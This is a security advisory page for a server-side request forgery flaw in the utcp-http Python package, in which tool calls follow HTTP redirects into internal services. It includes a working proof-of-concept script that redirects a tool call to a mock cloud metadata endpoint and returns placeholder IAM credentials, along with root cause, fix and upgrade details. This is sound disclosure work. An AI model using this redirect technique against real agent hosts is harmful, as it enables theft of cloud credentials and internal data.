GHSA-9qhg-99ww-9mqc: utcp-http SSRF: HTTP tool invocation follows redirects without re-validating the target
Noroxi assessment
Priority: Monitor (action score 32/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. A user must open a link or visit a page. No special conditions are required; it is repeatable.
- Fixed version: utcp-http (PyPI) 1.1.4.
Low priority for now. Upgrade to utcp-http (PyPI) 1.1.4 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary `HttpCommunicationProtocol.call_tool` validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore `302`-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive. This is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects. ## Root cause 1. The resolved URL is validated once, before the request: https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L281 2. The request is then made with aiohttp's default `allow_redirects=True` and no per-hop revalidation, so the redirect target bypasses the check entirely: https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L313-L332 The validator (`_security.py`) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it. ## Reachability Triggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any `https://`, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required. ## Preconditions - The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised. - The initial tool URL passes `ensure_secure_url` — trivially met by any `https://` URL or a benign attacker-owned host; the attacker only needs to return a `3xx` `Location`. - The tool is invoked (`call_tool`) after registration. - An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated `GET` (cloud metadata, internal admin panel, unauth datastore, link-local endpoint). - The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body. - For the IAM-credential outcome specifically: the host runs on a cloud instance with **IMDSv1** enabled. IMDSv2-only hosts block this exact result (it needs a `PUT` for a session token), but other internal-SSRF targets remain reachable. ## PoC The validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released `HttpCommunicationProtocol`; the "metadata" service is bound on a non-loopback LAN IP, which the validator rejects exactly like `169.254.169.254`. Run: `pip install utcp-http==1.1.3 aiohttp && python poc.py` ```python import asyncio, socket from aiohttp import web from utcp_http.http_communication_protocol import HttpCommunicationProtocol from utcp_http.http_call_template import HttpCallTemplate MD = "/latest/meta-data/iam/security-credentials/app-role" STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY", "SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"} def lan_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0] finally: s.close() async def main(): internal = lan_ip() meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN)) mr = web.AppRunner(meta, access_log=None); await mr.setup() ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start() internal_url = f"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}" atk = web.Application() atk.router.add_get("/tool", lambda r: web.Response(status=302, headers={"Location": internal_url})) ar = web.AppRunner(atk, access_log=None); await ar.setup() as_ = web.TCPSite(ar, "127.0.0.1", 0); await as_.start() tool_url = f"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool" proto = HttpCommunicationProtocol() ct = HttpCallTemplate(name="lookup", url=tool_url, http_method="GET") # passes the validator result = await proto.call_tool(None, "lookup", {}, ct) # follows 302 -> internal print("caller received:", result) await ar.cleanup(); await mr.cleanup() asyncio.run(main()) ``` Output: ``` caller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'} ``` ## Impact Blind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block. ## Possible fix Disable automatic redirects for tool invocation (`allow_redirects=False`) and, if redirects must be supported, re-run `ensure_secure_url` on every hop's `Location` before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual `https://`-to-internal case as well. ## Patched Fixed in `utcp-http` 1.1.4. `_security.py` now ships `safe_request_with_redirects`, a per-hop revalidator that disables aiohttp's auto-follow, runs `ensure_secure_url` on every `Location` header before issuing the next hop, caps the chain at 5 hops, and drops the body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP plugins use it for both `register_manual` and `call_tool`; SSE + streamable handshakes additionally reject any 3xx outright because the streaming response has to stay open for the lifetime of the call. The OAuth2 token-fetch path uses the same helper, closing the redirect-on-token-URL variant. The sister TypeScript implementation `@utcp/http` is fixed the same way in 1.1.4. Upgrade to `utcp-http >= 1.1.4`. No workaround in earlier versions short of disabling all attacker-influenced manuals.
- Published
- Aug 25, 2026
- Updated
- Aug 25, 2026
- EPSS
- —
- CWE
- CWE-918
Report tools
Action score
32
Low priority for now.
- CVSS
- 32 / 40 · 8.2 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
If any of these changes, we'll tell you in the daily email digest.
Is your version affected? Check itNoroxi analysis
What does it mean in your environment?
The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
We use this product, ask for helpAffected systems
Is your version affected?
Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.
| Vendor | Product | CPE |
|---|---|---|
| PyPI | utcp-http | pkg:pypi/utcp-http |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | utcp-http | before 1.1.4 | 1.1.4 |
Same product
PyPI: all recordsOther highest-scoring records for the same primary product.
- GHSA-8cp3-qxj6-px34utcp-http has an OAuth2 `tokenUrl` Trust Boundary Bypass in OpenAPI Conversion28Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:utcp-http | 1.1.4 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Variant candidates
Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.
- GHSA-8cp3-qxj6-px340 days apartutcp-http has an OAuth2 `tokenUrl` Trust Boundary Bypass in OpenAPI Conversion28Monitor
Not on record for this CVE: EPSS history · researcher credit · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- A user must open a link or visit a page.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- low · data or configuration can be modified
- Availability
- none
Impact can extend beyond the vulnerable component (scope changes).
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality impact
- High
- Integrity impact
- Low
- Availability impact
- None
Weakness class (CWE)
CWE-918 · Server-Side Request Forgery (SSRF)CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
ATT&CK techniques
—
Change log (1)
- Fix✗ → ✓
For records you follow, these changes also arrive as notifications. →
References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.